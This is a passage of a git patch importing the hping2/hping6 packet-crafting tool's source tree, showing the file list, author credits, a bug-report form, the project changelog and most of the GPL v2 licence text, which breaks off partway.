From 906782e134452cf0f8a1c98477b4284b6818446d Mon Sep 17 00:00:00 2001 From: Alex Date: Wed, 13 Apr 2022 18:01:39 +0800 Subject: [PATCH] first draft --- AUTHORS | 47 ++ BUGS | 28 + CHANGES | 279 ++++++++++ COPYING | 351 +++++++++++++ INSTALL | 70 +++ KNOWN-BUGS | 1 + Makefile | 77 +++ Makefile.in | 77 +++ NEWS | 181 +++++++ README | 78 +++ README.md | 21 + TODO | 21 + antigetopt.c | 295 +++++++++++ antigetopt.h | 35 ++ apd.c | 489 ++++++++++++++++++ ars.c | 905 +++++++++++++++++++++++++++++++++ ars.h | 450 ++++++++++++++++ arsglue.c | 32 ++ binding.c | 55 ++ byteorder | Bin 0 -> 8480 bytes byteorder.c | 85 ++++ byteorder.h | 8 + bytesex.h | 20 + cksum.c | 41 ++ configure | 117 +++++ datafiller.c | 74 +++ datahandler.c | 39 ++ debian/changelog | 152 ++++++ debian/compat | 1 + debian/control | 21 + debian/copyright | 24 + debian/hping2.dirs | 5 + debian/hping2.docs | 8 + debian/hping2.files | 1 + debian/hping2.links | 3 + debian/hping2.manpages | 1 + debian/rules | 65 +++ display_ipopt.c | 136 +++++ docs/APD.txt | 121 +++++ docs/AS-BACKDOOR | 37 ++ docs/HPING2-HOWTO.txt | 440 ++++++++++++++++ docs/HPING2-IS-OPEN | 15 + docs/MORE-FUN-WITH-IPID | 29 ++ docs/SPOOFED_SCAN.txt | 119 +++++ docs/french/AS-BACKDOOR | 37 ++ docs/french/HPING2-HOWTO.txt | 475 +++++++++++++++++ docs/french/HPING2-IS-OPEN | 14 + docs/french/INSTALL | 72 +++ docs/french/MORE-FUN-WITH-IPID | 35 ++ docs/french/Makefile | 11 + docs/french/NEWS | 158 ++++++ docs/french/SPOOFED_SCAN.txt | 128 +++++ docs/french/hping2-fr.8 | 767 ++++++++++++++++++++++++++++ docs/french/hping2-fr.8.txt | 694 +++++++++++++++++++++++++ docs/hping2.8 | 738 +++++++++++++++++++++++++++ gethostname.c | 54 ++ getifname.c | 413 +++++++++++++++ getlhs.c | 98 ++++ getusec.c | 27 + globals.h | 152 ++++++ hcmp.h | 26 + hping2 | Bin 0 -> 482024 bytes hping2.h | 497 ++++++++++++++++++ hping6 | Bin 0 -> 482640 bytes hstring.c | 80 +++ hstring.h | 7 + if_promisc.c | 60 +++ in.h | 32 ++ ip_opt_build.c | 83 +++ libars.a | Bin 0 -> 181668 bytes libpcap_stuff.c | 75 +++ linux_sockpacket.c | 73 +++ listen.c | 79 +++ logicmp.c | 112 ++++ main.c | 390 ++++++++++++++ memlock.c | 29 ++ memlockall.c | 23 + memstr.c | 25 + memunlock.c | 28 + memunlockall.c | 23 + opensockraw.c | 29 ++ parseoptions.c | 719 ++++++++++++++++++++++++++ random.c | 81 +++ random6.c | 143 ++++++ release.h | 18 + relid.c | 46 ++ resolve.c | 63 +++ rtt.c | 99 ++++ scan.c | 548 ++++++++++++++++++++ send.c | 239 +++++++++ sendhcmp.c | 49 ++ sendicmp.c | 283 +++++++++++ sendicmp6.c | 193 +++++++ sendip.c | 134 +++++ sendip6.c | 94 ++++ sendip_handler.c | 74 +++ sendrawip.c | 25 + sendtcp.c | 118 +++++ sendudp.c | 98 ++++ signal.c | 29 ++ sockopt.c | 38 ++ split.c | 428 ++++++++++++++++ statistics.c | 57 +++ strlcpy.c | 82 +++ systype.h | 6 + usage.c | 151 ++++++ utils/Makefile | 10 + utils/README.HEX2BIN | 20 + utils/hex2bin.c | 63 +++ version.c | 28 + waitpacket.c | 849 +++++++++++++++++++++++++++++++ 111 files changed, 15383 insertions(+) create mode 100644 AUTHORS create mode 100644 BUGS create mode 100644 CHANGES create mode 100644 COPYING create mode 100644 INSTALL create mode 100644 KNOWN-BUGS create mode 100644 Makefile create mode 100644 Makefile.in create mode 100644 NEWS create mode 100644 README create mode 100644 README.md create mode 100644 TODO create mode 100644 antigetopt.c create mode 100644 antigetopt.h create mode 100644 apd.c create mode 100644 ars.c create mode 100644 ars.h create mode 100644 arsglue.c create mode 100644 binding.c create mode 100644 byteorder create mode 100644 byteorder.c create mode 100644 byteorder.h create mode 100644 bytesex.h create mode 100644 cksum.c create mode 100644 configure create mode 100644 datafiller.c create mode 100644 datahandler.c create mode 100644 debian/changelog create mode 100644 debian/compat create mode 100644 debian/control create mode 100644 debian/copyright create mode 100644 debian/hping2.dirs create mode 100644 debian/hping2.docs create mode 100644 debian/hping2.files create mode 100644 debian/hping2.links create mode 100644 debian/hping2.manpages create mode 100644 debian/rules create mode 100644 display_ipopt.c create mode 100644 docs/APD.txt create mode 100644 docs/AS-BACKDOOR create mode 100644 docs/HPING2-HOWTO.txt create mode 100644 docs/HPING2-IS-OPEN create mode 100644 docs/MORE-FUN-WITH-IPID create mode 100644 docs/SPOOFED_SCAN.txt create mode 100644 docs/french/AS-BACKDOOR create mode 100644 docs/french/HPING2-HOWTO.txt create mode 100644 docs/french/HPING2-IS-OPEN create mode 100644 docs/french/INSTALL create mode 100644 docs/french/MORE-FUN-WITH-IPID create mode 100644 docs/french/Makefile create mode 100644 docs/french/NEWS create mode 100644 docs/french/SPOOFED_SCAN.txt create mode 100644 docs/french/hping2-fr.8 create mode 100644 docs/french/hping2-fr.8.txt create mode 100644 docs/hping2.8 create mode 100644 gethostname.c create mode 100644 getifname.c create mode 100644 getlhs.c create mode 100644 getusec.c create mode 100644 globals.h create mode 100644 hcmp.h create mode 100644 hping2 create mode 100644 hping2.h create mode 100644 hping6 create mode 100644 hstring.c create mode 100644 hstring.h create mode 100644 if_promisc.c create mode 100644 in.h create mode 100644 ip_opt_build.c create mode 100644 libars.a create mode 100644 libpcap_stuff.c create mode 100644 linux_sockpacket.c create mode 100644 listen.c create mode 100644 logicmp.c create mode 100644 main.c create mode 100644 memlock.c create mode 100644 memlockall.c create mode 100644 memstr.c create mode 100644 memunlock.c create mode 100644 memunlockall.c create mode 100644 opensockraw.c create mode 100644 parseoptions.c create mode 100644 random.c create mode 100644 random6.c create mode 100644 release.h create mode 100644 relid.c create mode 100644 resolve.c create mode 100644 rtt.c create mode 100644 scan.c create mode 100644 send.c create mode 100644 sendhcmp.c create mode 100644 sendicmp.c create mode 100644 sendicmp6.c create mode 100644 sendip.c create mode 100644 sendip6.c create mode 100644 sendip_handler.c create mode 100644 sendrawip.c create mode 100644 sendtcp.c create mode 100644 sendudp.c create mode 100644 signal.c create mode 100644 sockopt.c create mode 100644 split.c create mode 100644 statistics.c create mode 100644 strlcpy.c create mode 100644 systype.h create mode 100644 usage.c create mode 100644 utils/Makefile create mode 100644 utils/README.HEX2BIN create mode 100644 utils/hex2bin.c create mode 100644 version.c create mode 100644 waitpacket.c diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..0687d66 --- /dev/null +++ b/AUTHORS @@ -0,0 +1,47 @@ +Lead developer and maintainer: + + Salvatore Sanfilippo + +Regular contributors: + + Nicolas Jombart + Denis Ducamp + Yann Berthier + Stephane Aubert + +Other contributors: + + Brieuc Jeunhomme + Mika + Alfonso De Gregorio + Francesco Potorti` + Daniel Ginsburg + Steve Bleazard + + +Also thanks to the following people for testing, bug reports, ideas, +minor patches, documentation fixes: + + Valeriano Bedeschi + Lorenzo Cavallaro + awgn roofing + Darren Reed + Lance Spitzner + Stefano Brandimarte + "roy kozzer" + Jason Lunz + Domenico Andreoli + Gian-Luca Dei Rossi + Marco D'Itri + Rui Miguel Barbosa Machado + David Bar + David Coppa + Shachar Shemesh + Brieuc Jeunhomme + Hans-Joachim Knobloch + +IPv6 support, regulated flood mode: + Matyas Koszik + +-------------------------------------------------------------------------------- +Note: if you aren't in this list for an oversight, please inform me. diff --git a/BUGS b/BUGS new file mode 100644 index 0000000..7bc296c --- /dev/null +++ b/BUGS @@ -0,0 +1,28 @@ +------------------------------------------- +Please, use this form to report hping6 bugs +------------------------------------------- + +send it to + +You should include: + +* The output of "hping --version" +* The output of the command "uname -a" +* The problem description +* The command line used to produce the problem (if possible) +* The output of the command line that produces the problem with + the additional --debug switch. +* A tcpdump trace of the packets, run tcpdump with -s 200 -x + +The subject should start with [HPING BUG] followed by +a short description or none. Example: + +[HPING BUG] the lookback interface does not work on solaris + +If you can, before to report a problem, download the developing +version of hping using the CVS (see the istructions at +http://www.hping.org/download.html) and try it, maybe we already +fixed the problem in the CVS version. + +Also read the BUGS section of the manual page to see if +the bug is a known one. diff --git a/CHANGES b/CHANGES new file mode 100644 index 0000000..8f2a17c --- /dev/null +++ b/CHANGES @@ -0,0 +1,279 @@ +CHANGES LOG +$Id: CHANGES,v 1.33 2004/03/10 12:11:51 njombart Exp $ + +Authors name abbreviation + +AZ Salvatore Sanfilippo 'antirez' +FX Alfonso De Gregorio 'fhex' +MK Mika +SA Stephane Aubert +NJ Nicolas Jombart +DD Denis Ducamp +FP Francesco Potorti` +YB Yann Berthier +BJ Brieuc Jeunhomme +HK Hans-Joachim Knobloch +MM Minor contributor, see the change description for credits. +?? If you edit this file put yourself here + +AZ is the default if not specified. + +======================================================= +In order to find bugs fixed search the keyword 'FIX:' +for new supports and features search the keyword 'ADD:' +======================================================= + +TO FIX before ??: +* The problem with --rroute and the IP header length field on SunOS, + thanks to Graeme Hewson for reporting it. + +MM FIX: Fix for interface guessing with aliases on BSD + Thanks and +MM FIX: fixed cksum.c. Bad outgoing packet checksum with some packet. + Thanks to Brett Eldridge . +AZ ADD: scan mode (--scan) +AZ ADD: A rc4-based PRNG to use with --rand-source and --rand-dest +NJ FIX: Fix -I option for BSD/Apple +NJ ADD: Add support for BSDI and MacOSX (thanks + Dennis Opacki and Jan-Hinrich Fessel + ) +HK ADD: A few useful ICMP options +NJ ADD: Add support for : + WLAN (Fabian Melzow ) + ATM (Debian bug #193436, thanks to Domenico Andreoli) + Token Ring (jim.r.halfpenny@britishairways.com) +NJ ADD: MacOSX patches (Hans-Joachim Knobloch ) +NJ FIX: --rand-source patches from Quentin Garnier + . ensure randomness + . do not stop on errors when using a E or D class address (BSD only?) + +20 Nov 2002 -- 2.0.0 stable -- candidate release 2 +--------------------------------------------------------------------------- + +NJ FIX: The bug about port number printing in TCP mode than YB discovered. +NJ ADD: MTU value sanity check in option parsing. +NJ FIX: Fix the use of -W option +NJ ADD: strLcpy() function taken from OpenBSD +NJ FIX: Fix a bug when using BSD and a PPP link as a default route + Move code from routing sockets to get_output_if function. +BJ FIX/ADD: source routing and random bugfixes. Thanks BJ! +AZ ADD: --rand-source for random source addresses. +AZ FIX: all the atoi() call was replaced with strto[u]l(). +MM FIX: seq/ack setting using strtoul() instead of atoi(), thanks + to Shachar Shemesh . +AZ ADD: --rand-dest for random destination addresses + manpage update. +AZ FIX/ADD: Major code rewrite. +AZ FIX: DF added to the icmp and udp output. +AZ FIX: --port ++ fixed with UDP and enhanced for TCP/UDP. Now the + packets matches only with a sport that is: + >= base_dest_port AND <= current_dest_port. + Thanks to David Bar for the original + report. + +15 Aug 2001 -- 2.0.0 stable -- candidate release 1 +--------------------------------------------------------------------------- + +AZ FIX: --fast now really sends 10packets/second, not 100. Thanks + to DD for the report. +AZ FIX: bzero/bcopy replaced with the sane memset/memcpy. +DG ADD: Solaris port, with the help of the patch contributed by + Steve Bleazard +AZ ADD: Changed a bit the format (flags=S is now ) and add the string + DF if the don't fragment bit is on. +AZ FIX: waitpacket.c to take the data aligned. Now hping seems to + work without problems on linux/sparc. +AZ FIX: getifname.c, now even the linux version behaves better locking + for the interface address of the outgoing interface according + to the kernel routing table. getdefaultif.c removed, no loger used. +AZ FIX --tr-stop enhanced (now really exit when an expected packet that + was not an ICMP time exceeded was received) +AZ FIX: --stop-tr is now --tr-stop. All the traceroute mode options + starts with --tr. +AZ ADD: --tr-no-rtt to turn off RTT information in traceroute mode. + Thanks to Denis Ducamp for the idea. +AZ FIX: Now provide traceroute RTT information even with ICMP. +AZ ADD: --stop-tr stops hping in traceroute mode once the first non + ICMP packet is received. Thanks to Denis Ducamp for the idea. +AZ ADD: ICMP subnet address mask support. Not tested. +AZ ADD: TCP timestamp support with HZ and uptime guessing (--tcp-timestamp) +AZ ADD: ICMP timestamp support (--icmptype 13) +AZ FIX: Fixed getlhs.c under BSD to get the header length from the like type. +YB NH AZ FIX: ICMP ID handling on systems with 32 bit pids. +DD ADD: Man page update (not french one!) +AZ ADD: --traceroute now prints RTT information. +AZ ADD: --traceroute now implies --ttl 1 if no --ttl option is specified. +AZ ADD: --fast option that is an alias for -u i10000 (10 packets at second) +MM ADD: ets.* interface (thanks to Stefano Brandimarte.) +AZ FIX: compilation problem (NULL used without including stdlib.h in getusec.c) +AZ FIX: -H switch (alternative to --protoip) thanks to + "roy kozzer" +MM FIX: Man page grammatical mistakes, thanks to Jason Lunz , + I applied the patch by hand, so maybe some mistake is still inside. +FP FIX: fixed rtt/sequence number handling, now hping6 can run for hours + keeping the right rtt calculation. Some sentence from the original + Francesco's email: + +I am using it to make long measurements of the response times of http +servers around the world, so hping6 keeps running for days. In fact, it +is apparently impossible to use hping6 this way, as the sequence number +wraps around (and this may be okay, in principle) and the program goes +astray. + +Precisely, the delay measurements are set to 0 after the wrap around. +Since hping6 is written so cleanly (thanks), I was able to quickly +correct the problem: +(strange, I think hping6 is very hugly code... I wrote it with + too little coding experience) + +BTW now the issue is fixed, MANY thanks to Francesco Portori'. + +DD FIX: -seqnum (endianess IIRC) fixed. +DD FIX: Random fix to manpage and code. +NJ FIX/ADD: BSD network interfaces related code. +DD ADD: French translation of the hping documentation, under docs/french/ + +6 July 2000 -- 2.0.0 beta54, raw IP mode, bug fixing, NetBSD support, ... +--------------------------------------------------------------------------- + +Solaris support still not present, a patch was provided by +Lorenzo Lazzieri but I did not have a solaris box to perform +some test, give me some solarix 2.[67] root account if you +need hping6 ported to solaris. Sorry, but my sparc S4 died +not long ago. + +FIX: the stupid nop.c no longer exist. +FIX: tcp sequence number and ack visualization bug for lacks of ntohl()! +FIX: minor coding bugs fixed, minor code cleanup +FIX: man pages path now is obtained from MANPATH +FIX: new *BSD ethernet under getlhs.c +ADD: NetBSD support (thanks to Yann Berthier) +ADD: settable checksum +ADD: now TCP sequence number and ack are settable. +SA ADD: bad checksum option (-b --badcksum). +ADD: settable fragment offset. +ADD: raw IP mode. +ADD: out of sequence packets counter (only with -r option). +ADD: documentation updated and a bit improved. + +20 Nov 1999 -- 2.0.0 beta 53, important bug fixed +------------------------------------------------- + +Contrary to my hope this beta go out without Solaris support nor deep +testing under BSD systems. This because beta-53 FIX: some important bugs +so I think it's better to release it as soon as possible. I hope that +beta-54 will be more tested under BSD and will contain a first Solaris +support. Please, send me bug report/suggestions first beta-54 release, AZ + +AZ ADD: man page updated. +AZ FIX: a very dirty bug introduced in hping6-beta49, it was in waitpacket.c, + all offset was computed using the ip header length of the last packet, and + for the first incoming packet using uninitialized bytes. I suggest you + upgrade ASAP. +AZ ADD: enhanced configure and Makefile. Now "./configure; make" should + be enough at least under Linux, FreeBSD and OpenBSD. configure has options, + try ./configure --help. Also FIX: a `make clean' issue. +AZ FIX: a bug in rtt.c, in some circumstance it returned a negative rtt, + also ADD: an initial sanity check for faster problem tracing in rtt.c. + Now sent packets are registered into 'delay table' *before* of sending, I + think this isn't the better way to do a good timing, but since original ping + program use this way and it avoids some problem hping now use this solution. +AZ FIX: parseoptions.c, some parser fix and more limits for non root users. +AZ ADD: better hgetopt.c, now it's possible to combine short options like + -S -F etc in -SF. The same kind of bug seems still unfixed in gcc and ssh. +AZ if_promisc.c no longer compiled/linked since it isn't used by hping6. + I leave this file here for possible future new features. It will be needed + only for Linux since to set promiscuous mode with libpcap it is not useful. +AZ ADD:/FIX: getlhs.c updated, now system dependent, BSD ethernet names + updated thx to Rui Miguel Barbosa Machado , + FIX: BSD PPP link header size (I hope). Please send me a mail if you + successfully run hping6 under PPP interface on BSD. +AZ ADD: new `utils' directory added and the simple utility hex2bin +AZ ADD: distribution enhanced, CHANGES was extracted from TODO, MIRRORS contain + a mirrors list, BUGS the bug report form, others files added. + +16 Nov 1999 -- 2.0.0 beta 52, first public 2.0.0 +------------------------------------------------- + +AZ add W option for windoze byte ordering +AZ clearest var names +AZ fix incoming packet size computing +AZ add -V verbose mode +AZ add -D debug mode +AZ add support for 2.2.x kernel PF_PACKET socket +AZ fix (null) hostname problem +AZ add usec interval support for -i option +AZ fix -q option +AZ add -y (don't fragment) option +AZ better checksum algorithm from R. Stevens +AZ better icmp logging +AZ add capability of sending data besides header (-d) +AZ add fragmentation capability even with -d option +AZ add ICMP support +AZ get default routing interface from /proc +AZ add -k (keep still source port) option +AZ add UDP support +AZ all #define revisited for more cleanness +AZ recvto() incoming packet max size fixed +AZ data from file option +AZ hex dump of incoming packets +AZ incoming packets content dump (only printable) +AZ packet sign +AZ hgetopt.c, rewrite parse_options using hgetopt() +AZ GNU style options support +AZ target host argument recognized in any positions +AZ broadcast support, waittcp.c must be update (not for ICMP) +AZ fix some problem in hgetopt.c +AZ portability increased a bit +AZ byteorder.c, add ./configure, just for byte ordering check +AZ -9 | --listen listen mode for file transfers +AZ settable packets id +AZ fixed some problem in hgetopt.c/parseoption.c, assert() removed +AZ when suid don't allows a lot of options if uid != euid +AZ experimental traceroute mode (-T | --traceroute) +AZ HCMP (hping control message protocol) initial devel +AZ better HCMP support for safe protocol 'semi' implemented +AZ main.c clearness improved and reorder. +AZ HCMP for safe protocol works +AZ fix a bug when fragmentations is active (introduced with --id) +AZ settable tos, more than one --tos are ORed. +AZ strong code cleanup, three new files: rtt.c, relid.c, sendip_handler.c +AZ more portable includes, a bit more portable getifname.c +AZ enhanced ICMP support: rtt, (DUP), id. +AZ better ./configure and libpcap support predisposed. +AZ add round-trip min/avg/max statistics. +AZ get interface mtu, tunable fragments size, auto-activate + fragmentation if packet size > mtu +AZ --destport enhanced, now --destport +23 inc dest port + for each packet sent starting from 23. +AZ add libpcap support, Makefile and some .c updated +AZ fixed a bug introduced enhancing --destport option. +AZ if_mtu var name collision in BSD fixed, now h_if_mtu. +AZ better signal handling and minor internal changes. +FX save/restore errno in signal handlers. +FX add memory protection functions mem*.c in order to + prevent swap of sensitive memory areas. +AZ disable memory paging when --sign, --file, --listen used. +AZ Option -c wait after sending last packet +AZ ported on OpenBSD 2.3 (tested also on OpenBSD 2.5) +AZ enhanced ICMP support, now send type 8,0,3,4,5,11 +AZ --traceroute default bind ttl to ctrl+z +MK Now waitpacket() handle ip options +MK Record route option support, and update IP related + functions to handle options. Also add ip_opt_build.c + and display_ipopt.c (ripped from ping) +AZ some bug fixed +AZ --tcpexitcode option that exit with last tcp->th_flags +AZ datafiller.c bug fix +AZ add -p ++port, as -p +port but that increments the destination + port even if no replies are received. +AZ fix getifname.c big problems with OpenBSD: it works only + for certain interface (now *seems* fixed) +AZ portable sendip.c raw socket ip fields byte ordering (N.B. + Linux and OpenBSD has all ip field in network byte order + so you may add right defines if you port hping6 to other OSs) +AZ compiles/works under FreeBSD 3.3 + +17 Dec 1998 -- 0.67 release +--------------------------- + +AZ add -a option diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..a0b0897 --- /dev/null +++ b/COPYING @@ -0,0 +1,351 @@ +hping6 is free software. It comes under GPL version 2, +except for the following: + +display_ipopt.c : from ping, BSD style license +libpcap library : BSD style license + +for more information see the upper part of this files. + +WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others. + +hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo. + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 675 Mass Ave, Cambridge, MA 02139, USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + Appendix: How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) 19yy + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if 